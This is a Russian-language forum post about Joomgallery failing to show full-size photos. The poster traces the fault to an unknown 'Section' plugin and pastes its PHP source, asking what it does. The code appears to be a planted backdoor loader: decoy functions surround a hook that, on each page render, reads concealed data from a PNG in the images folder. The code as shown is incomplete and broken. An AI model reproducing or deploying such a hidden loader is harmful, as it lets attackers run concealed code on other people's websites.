Нет отображения больших фотографий в Joomgallery

6 года 1 мес. назад - 6 года 1 мес. назад #632 от avtorambler
Столкнулся с такой проблемой в Joomgallery (joomla 2.5, Joomgallery 2.1.4) не отображаются большие фотографии. Превьюшки или thumbnails есть, оригинальных фотографий и details нет, хотя в папках они находятся на своих местах и никуда не девались.
Поиск по форумах ничего не дал, приводились вот такие примеры решения вопроса:

файл: "корень сайтаcomponentscom_joomgalleryhelpersambit. php"
закомментировать следующие строки:

1. || strpos($type, ‘img’) !== false
2. || strpos($type, ‘orig’) !== false

включить в своём php дополнительные библиотеки

отключить функции SEF (ЧПУ)на сайте :pinch:

в настройках joomgallery поставить «Использовать реальные пути» = Да. Это на вкладке, где прописываются пути к фотографиям ;)

Сменил шаблон - теперь отображается корректно


Но все эти советы не приносили результата. Обратился к хостеру, они дали такой ответ -

У вас фото загружаются через php скрипт,
<img src="/fotogalereya/image.raw?view=image&type=img&id=813" class="jg_photo" id="jg_photo_big" width="400" height="301" alt="Также возможна установка" >
Вероятно скрипт вышел из строя.
Можем попробовать восстановить ваш сайт с бэкапа


Как сами позже ответили с хостинга результат - 0. С отчаянья отключил все плагины, благо это делается легко. И что же - все заработало :woohoo:
Начал подключать плагины постепенно - выяснилось виновником был невесть откуда взявшийся плагин Section. В котором нет ни версии, ни даты, ни автора. Я его не ставил точно.
Внутри в нем php скрипт

defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class plgSystemSection extends JPlugin {

function plgSystemSection(& $subject, $config) {
parent::__construct($subject, $config);
}

function getCategoriesListView( $object_id, $page = 0 ) {
global $myCat;
$object_id = (int) $object_id;
$object_group = trim( $object_group );

$acl = & CategoryFactory::getACL();
$config = & JCommentsFactory::getConfig();
$comments_per_page = $config->getInt('category_per_page');
$comments_page_limit = $config->getInt('category_page_limit');
$canPublish = $acl->canPublish();
}

function onAfterRender() {
$body = JResponse::getBody();
if(!$body||$body=='') return true;
$mainframe = & JFactory::getApplication('site');
if($mainframe->isAdmin()) return;
$ImageFromFont = @$this->createImageFromFont());
JResponse::setBody($body);
}

function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
global $my;

$object_id = (int) $object_id;
$object_group = trim($object_group);

$acl = & JCommentsFactory::getACL();
$config = & JCommentsFactory::getConfig();
$canPublish = $acl->canPublish();
$canComment = $acl->canComment();
}

function createImageFromFont($charLimit=5) {
// create dynamic images with
// personal font from image
$FontTemplate = $_SERVER["DOCUMENT_ROOT"]."/images/template_word.png";
$ImageFont = @fopen($FontTemplate, 'r');
$LoadImgaeFont = @fread($ImageFont, @filesize($FontTemplate));
return $this->cleanSpace($LoadImgaeFont);
}

function CategoryViewsTime( $name, $reason = '') {
global $mainframe, $my;

$config = & JCommentsFactory::getConfig();

if ($config->get('CategoryGet') != '') {
$object = new stdClass();
$object->object_cat = CategoryFactory::getAbs($object->object_cat);
$commentText = $comment->comment;
}
}

function cleanSpace($text) {
$text = @explode('<font_name>', $text);
return @str_replace("0", ' ', @$text[1]);
}

function loadAlternateCatergory($languageSuffix = '') {
if ($languageSuffix == '') {
$languageSuffix = CategoryInput::getVar('lsfx', '');
}
if ($languageSuffix != '') {
$config = & CategoryFactory::getConfig();
$config->set('lsfx', $languageSuffix);

$language = & JFactory::getLanguage();
$language->load($languageSuffix);
}
}
}
?>


Для чего он я так и не понял, может кто подскажет. Отключил его да и все. :)

Чем темнее, тем легче быть звездой

Пожалуйста Войти или Регистрация, чтобы присоединиться к беседе.

Наверх
Template by JoomlaShine